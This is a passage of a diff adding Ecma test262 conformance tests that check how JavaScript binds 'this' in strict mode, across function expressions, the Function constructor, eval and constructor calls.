+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-11-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+return (function () {
+ return typeof this;
+})() === "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-11gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-11gs.js
new file mode 100644
index 000000000..3be7db62a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-11gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-11gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+if ((function () {
+ return typeof this;
+})() !== "undefined") {
+ throw "'this' had incorrect value!";
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-12-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-12-s.js
new file mode 100644
index 000000000..a88b4c03f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-12-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-12-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+return (function () {
+ "use strict";
+ return typeof this;
+})() === "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-12gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-12gs.js
new file mode 100644
index 000000000..0bb4a9781
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-12gs.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-12gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+if ((function () {
+ "use strict";
+ return typeof this;
+})() !== "undefined") {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-13-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-13-s.js
new file mode 100644
index 000000000..c4ebc9d39
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-13-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-13-s.js
+ * @description Strict Mode - checking 'this' (Function constructor defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var f = Function("return typeof this;");
+return f() !== "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-13gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-13gs.js
new file mode 100644
index 000000000..d6c4d550a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-13gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-13gs.js
+ * @description Strict - checking 'this' from a global scope (Function constructor defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var f = Function("return typeof this;");
+if (f() === "undefined") {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-14-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-14-s.js
new file mode 100644
index 000000000..fe45b6931
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-14-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-14-s.js
+ * @description Strict Mode - checking 'this' (Function constructor includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var f = Function("\"use strict\";\nreturn typeof this;");
+return f() === "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-14gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-14gs.js
new file mode 100644
index 000000000..cec5e66d8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-14gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-14gs.js
+ * @description Strict - checking 'this' from a global scope (Function constructor includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var f = Function("\"use strict\";\nreturn typeof this;");
+if (f() !== "undefined") {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-15-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-15-s.js
new file mode 100644
index 000000000..961d55b6d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-15-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-15-s.js
+ * @description Strict Mode - checking 'this' (New'ed Function constructor defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var f = new Function("return typeof this;");
+return f() !== "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-15gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-15gs.js
new file mode 100644
index 000000000..26d75fa64
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-15gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-15gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed Function constructor defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var f = new Function("return typeof this;");
+if (f() === "undefined") {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-16-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-16-s.js
new file mode 100644
index 000000000..6167f4c4a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-16-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-16-s.js
+ * @description Strict Mode - checking 'this' (New'ed Function constructor includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var f = new Function("\"use strict\";\nreturn typeof this;");
+return f() === "undefined";
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-16gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-16gs.js
new file mode 100644
index 000000000..b7a2287e7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-16gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-16gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed Function constructor includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var f = new Function("\"use strict\";\nreturn typeof this;");
+if (f() !== "undefined") {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-17-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-17-s.js
new file mode 100644
index 000000000..4d2caf063
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-17-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-17-s.js
+ * @description Strict Mode - checking 'this' (eval used within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+return (eval("typeof this") === "undefined") && (eval("this") !== fnGlobalObject());
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-17gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-17gs.js
new file mode 100644
index 000000000..f583c6e89
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-17gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-17gs.js
+ * @description Strict - checking 'this' from a global scope (eval used within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+if (eval("this") !== fnGlobalObject()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-18gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-18gs.js
new file mode 100644
index 000000000..e1d35e497
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-18gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-18gs.js
+ * @description Strict - checking 'this' from a global scope (eval includes strict directive prologue)
+ * @onlyStrict
+ */
+
+if (eval("\"use strict\";\nthis") !== fnGlobalObject()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-19-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-19-s.js
new file mode 100644
index 000000000..c2d412838
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-19-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-19-s.js
+ * @description Strict Mode - checking 'this' (indirect eval used within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var my_eval = eval;
+return my_eval("this") === fnGlobalObject();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-19gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-19gs.js
new file mode 100644
index 000000000..2d1c35edc
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-19gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-19gs.js
+ * @description Strict - checking 'this' from a global scope (indirect eval used within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var my_eval = eval;
+if (my_eval("this") !== fnGlobalObject()) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-2-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-2-s.js
new file mode 100644
index 000000000..0efe7fd65
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-2-s.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-2-s.js
+ * @description this is not coerced to an object in strict mode (string)
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ return typeof(this);
+ }
+
+ function bar()
+ {
+ return typeof(this);
+ }
+
+
+ return foo.call('1') === 'string' && bar.call('1') === 'object';
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-20-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-20-s.js
new file mode 100644
index 000000000..869bc53e4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-20-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-20-s.js
+ * @description Strict Mode - checking 'this' (indirect eval includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var my_eval = eval;
+return my_eval("\"use strict\";\nthis") === fnGlobalObject();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-20gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-20gs.js
new file mode 100644
index 000000000..48544cb0e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-20gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-20gs.js
+ * @description Strict - checking 'this' from a global scope (indirect eval includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var my_eval = eval;
+if (my_eval("\"use strict\";\nthis") !== fnGlobalObject() ) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-21-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-21-s.js
new file mode 100644
index 000000000..915f54ce8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-21-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-21-s.js
+ * @description Strict Mode - checking 'this' (New'ed object from FunctionDeclaration defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+function f() {
+ return this;
+}
+return ( (new f())!==fnGlobalObject()) && (typeof (new f()) !== "undefined");
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-21gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-21gs.js
new file mode 100644
index 000000000..b12634049
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-21gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-21gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed object from FunctionDeclaration defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+function f() {
+ return this;
+}
+if (((new f()) === fnGlobalObject()) || (typeof (new f()) === "undefined")) {
+ throw "'this' had incorrect value!";
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-22-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-22-s.js
new file mode 100644
index 000000000..55d66e60c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-22-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-22-s.js
+ * @description Strict Mode - checking 'this' (New'ed object from FunctionDeclaration includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() {
+ "use strict";
+ return this;
+}
+return ( (new f())!==fnGlobalObject()) && (typeof (new f()) !== "undefined");
+
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-22gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-22gs.js
new file mode 100644
index 000000000..1abde0e2f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-22gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-22gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed object from FunctionDeclaration includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function f() {
+ "use strict";
+ return this;
+}
+if (((new f()) === fnGlobalObject()) || (typeof (new f()) === "undefined")) {
+ throw "'this' had incorrect value!";
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-23-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-23-s.js
new file mode 100644
index 000000000..b2c40be4f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-23-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-23-s.js
+ * @description Strict Mode - checking 'this' (New'ed object from FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var f = function () {
+ return this;
+}
+return ( (new f())!==fnGlobalObject()) && (typeof (new f()) !== "undefined");
+
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-23gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-23gs.js
new file mode 100644
index 000000000..4aab84291
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-23gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-23gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed object from FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var f = function () {
+ return this;
+}
+if (((new f()) === fnGlobalObject()) || (typeof (new f()) === "undefined")) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-24-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-24-s.js
new file mode 100644
index 000000000..3499abe4d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-24-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-24-s.js
+ * @description Strict Mode - checking 'this' (New'ed object from FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var f = function () {
+ "use strict";
+ return this;
+}
+return ( (new f())!==fnGlobalObject()) && (typeof (new f()) !== "undefined");
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-24gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-24gs.js
new file mode 100644
index 000000000..38d5e1490
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-24gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-24gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed object from FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var f = function () {
+ "use strict";
+ return this;
+}
+if (((new f()) === fnGlobalObject()) || (typeof (new f()) === "undefined")) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-25-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-25-s.js
new file mode 100644
index 000000000..138802f64
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-25-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-25-s.js
+ * @description Strict Mode - checking 'this' (New'ed object from Anonymous FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var obj = new (function () {
+ return this;
+});
+return (obj !== fnGlobalObject()) && ((typeof obj) !== "undefined");
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-25gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-25gs.js
new file mode 100644
index 000000000..30ac917cb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-25gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-25gs.js
+ * @description Strict - checking 'this' from a global scope (New'ed object from Anonymous FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var obj = new (function () {
+ return this;
+});
+if ((obj === fnGlobalObject()) || (typeof obj === "undefined")) {
+ throw "'this' had incorrect value!";
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-26-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-26-s.js
new file mode 100644
index 000000000..a015f4082
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-26-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-26-s.js
+ * @description Strict Mode - checking 'this' (New'ed object from Anonymous FunctionExpression includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var obj = new (function () {
+ "use strict";
+ return this;
+});
+return (obj !== fnGlobalObject()) && ((typeof obj) !== "undefined");
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-26gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-26gs.js
new file mode 100644
index 000000000..e19bce342
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-26gs.js
@@ -0,0 +1,18 @@
